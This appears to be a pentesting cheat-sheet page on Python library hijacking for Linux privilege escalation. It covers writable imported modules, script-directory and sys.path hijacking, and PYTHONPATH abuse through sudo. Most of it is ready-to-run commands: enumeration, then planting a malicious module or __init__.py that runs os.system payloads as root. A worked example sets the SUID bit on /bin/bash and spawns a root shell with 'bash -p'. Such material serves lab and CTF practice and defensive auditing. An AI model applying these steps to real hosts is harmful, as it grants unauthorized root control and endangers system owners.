PRIMARY CATEGORY → LIBRARY ABUSE
Theory
Python Library Hijacking consists of forcing a privileged Python process to import and execute an attacker-controlled module instead of the legitimate one.
The privileges are inherited from the Python process. Common entry points include:
-
A SUDO rule that allows a Python script to be executed as another user
-
A privileged process that automatically executes a Python script
e.g. CRON Job
- A Python interpreter with the SETUID bit enabled
Important
The SETUID bit applied directly to a Python script is normally ignored by the Linux kernel
Therefore, the privilege must come from the interpreter, SUDO or another privileged process.
Write Permissions on Imported Python Module
Requirements
-
Ability to execute a Python script as a privileged user
-
Write permissions over one of the Python modules imported by the script
Enumeration
Listing Sudo Privileges
sudo -lInspecting the Python Script
cat <PYTHON_SCRIPT>Identifying Imported Modules
import <MODULE>Locating the Imported Module
python -c 'import <MODULE>; print(<MODULE>.__file__)'Python3
python3 -c 'import <MODULE>; print(<MODULE>.__file__)'Checking Write Permissions
namei -l <MODULE_PATH>test -w <MODULE_PATH> && echo "Writable"Abuse
If the imported module is writable, arbitrary Python code can be appended to it:
import os
os.system("<COMMAND>")Or
__import__('os').system("COMMAND")Then, the privileged Python script must be executed:
sudo --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>The malicious code is executed when Python imports the modified module.
Library Path Abuse
When Python imports a module, it searches for it through the directories contained in sys.path.
import sys
print(sys.path)The search stops as soon as Python finds a matching module or package.
When a script is executed using its path, the directory containing that script is normally placed at the beginning of sys.path.
e.g.
/usr/bin/python /home/john/script.pyThe following directory will normally be searched before the global Python library directories:
/home/johnTherefore, if the script imports wificontroller and an attacker can write inside /home/john, the attacker may create one of the following objects:
/home/john/wificontroller.py/home/john/wificontroller/__init__.pyPython will import the attacker-controlled object if it is found before the legitimate library.
The relevant directory is normally the directory containing the executed script, not necessarily the current working directory of the shell.
Built-in modules such as
sysare resolved internally and cannot normally be hijacked by creating asys.pyfile orsys/directory.
Requirements
-
Ability to execute a Python script as a privileged user
-
The Python script must import a module that can be hijacked
-
Write permissions over a directory searched before the legitimate module
Enumeration
Listing Python Library Paths
python -c 'import sys; print("\n".join(sys.path))'Python3
python3 -c 'import sys; print("\n".join(sys.path))'Inspecting the Imported Module
python -c 'import <MODULE>; print(<MODULE>.__file__)'Checking Directory Permissions
namei -l <PYTHON_SCRIPT>test -w <DIRECTORY> && echo "Writable"Abuse
Script Directory Package Hijacking
Suppose the current user has the following SUDO privilege:
sudo -lOutput
User www-data may run the following commands on walla:
(ALL) NOPASSWD: /usr/bin/python /home/john/script.pyThe rule allows script.py to be executed as any user, including ROOT.
First, inspect the privileged Python script:
cat /home/john/script.pyscript.py
#!/usr/bin/python import sys try: import wificontroller except Exception: print "[!] ERROR: Unable to load wificontroller module." sys.exit() wificontroller.stop("wlan0", "1") wificontroller.reset("wlan0", "1") wificontroller.start("wlan0", "1")
The script imports a package named wificontroller.
Check the permissions over the script:
ls -l /home/john/script.pyCommand Output
-rw-r--r-- 1 root root 251 Sep 17 2020 /home/john/script.py
The script cannot be modified directly.
Check the permissions over the directory containing the script:
ls -ld /home/johnCommand Output
drwxr-xr-x 3 www-data www-data 4096 Oct 18 05:38 /home/john
The current user can write inside /home/john.
Since this directory is searched when the privileged script imports modules, create a malicious package matching the imported name:
mkdir -p /home/john/wificontrollerCreate its package initialization file:
cat > /home/john/wificontroller/__init__.py <<'EOF'
import os
os.system("chmod u+s /bin/bash")
EOFThe filename must be exactly __init__.py, using two underscores before and after init.
Execute the Python script as ROOT:
sudo --user root -- /usr/bin/python /home/john/script.pyPython performs the following actions:
-
It adds
/home/johnto its library search path. -
It processes
import wificontroller. -
It finds
/home/john/wificontroller/before the legitimate package. -
It executes
wificontroller/__init__.pyas ROOT. -
The initialization code adds the SETUID bit to
/bin/bash.
The package does not need to implement the stop, reset or start functions for this payload to execute.
Python runs __init__.py during the import, before attempting to call those functions.
An exception may occur afterwards because the functions do not exist, but the command has already been executed.
Verify the permissions:
ls -l /bin/bashCommand Output
-rwsr-xr-x 1 root root <SIZE> <DATE> /bin/bash
Spawn a shell while preserving the effective privileged identity:
/bin/bash -pVerify the resulting privileges:
idHigher-Priority Directory Hijacking
If a writable directory appears before the legitimate module directory in sys.path, create a malicious module with the same name:
cat > <WRITABLE_DIRECTORY>/<MODULE>.py <<'EOF'
import os
os.system("<COMMAND>")
EOFThen, execute the privileged script:
sudo --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>Python imports the malicious module because it appears earlier in the search order.
PYTHONPATH Environment Parameter
Theory
The PYTHONPATH environment variable adds directories to Python’s module search path.
export PYTHONPATH=<DIRECTORY>This can be abused when:
-
A privileged Python script imports an attacker-controlled module
-
SUDO preserves the
PYTHONPATHenvironment variable -
The applicable SUDO rule allows the variable to be supplied, such as through the
SETENVtag
Enumeration
Checking Sudo Environment Rules
sudo -lLook for entries such as:
SETENVenv_keep+=PYTHONPATHChecking the Current Value
printenv PYTHONPATHAbuse
Create a malicious module inside a writable directory:
mkdir -p /tmp/pythoncat > /tmp/python/<MODULE>.py <<'EOF'
import os
os.system("<COMMAND>")
EOFOr
cat > /tmp/python/<MODULE>.py << 'EOF'
__import__('os').system("COMMAND")
'EOF'Set PYTHONPATH:
export PYTHONPATH=/tmp/pythonExecute the privileged Python script while preserving the variable:
sudo --preserve-env=PYTHONPATH --user <USER> -- <PYTHON_INTERPRETER> <PYTHON_SCRIPT>Python searches /tmp/python and imports the malicious module before the legitimate one.